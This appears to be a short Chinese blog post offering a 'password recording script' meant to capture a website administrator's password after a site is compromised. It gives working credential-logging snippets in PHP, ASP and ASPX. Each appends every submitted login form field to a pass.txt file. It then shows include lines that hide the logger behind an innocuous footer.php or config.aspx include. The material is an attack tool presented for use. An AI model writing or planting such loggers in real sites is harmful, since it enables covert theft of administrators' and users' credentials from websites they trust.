密码记录脚本

好大一条虫 302 次浏览 0

记录管理员的高强度密码

在对应的Login下包含同目录记录pass

PHP

<?php
if (isset($_POST)){
    $f = fopen('pass.txt','a+');
    foreach ($_POST as $k=>$v){
        fwrite($f,$k.':'.$v."\r\n");
    }
    fclose($f);
}
?>

ASP

<%
dim fs,fname
set fs=Server.CreateObject("Scripting.FileSystemObject")
set fname=fs.OpenTextFile(server.mappath("pass.txt"),8,true)
For i = 1 To Request.Form.Count
fname.WriteLine(""&Request.Form.Key(i)&":" & Request.Form(Request.Form.Key(i)))
Next
fname.Close
set fname=nothing
set fs=nothing
%>

ASPX

<%@ Page Language="Jscript"%>
<%@ import namespace="System.IO" %>
<%
var filepath = Server.MapPath("pass.txt");
var sw = new StreamWriter(filepath, true);
for (var i = 0;i<Request.Form.Count;i++){
sw.WriteLine(Request.Form.Keys[i].ToString() + ":" + Request.Form[i].ToString());
}
sw.Close();
%>

php

<?php include 'footer.php';?>

asp 与 asp.net

<!-- #include file="config.aspx" -->

发表评论 取消回复
表情 图片 链接 代码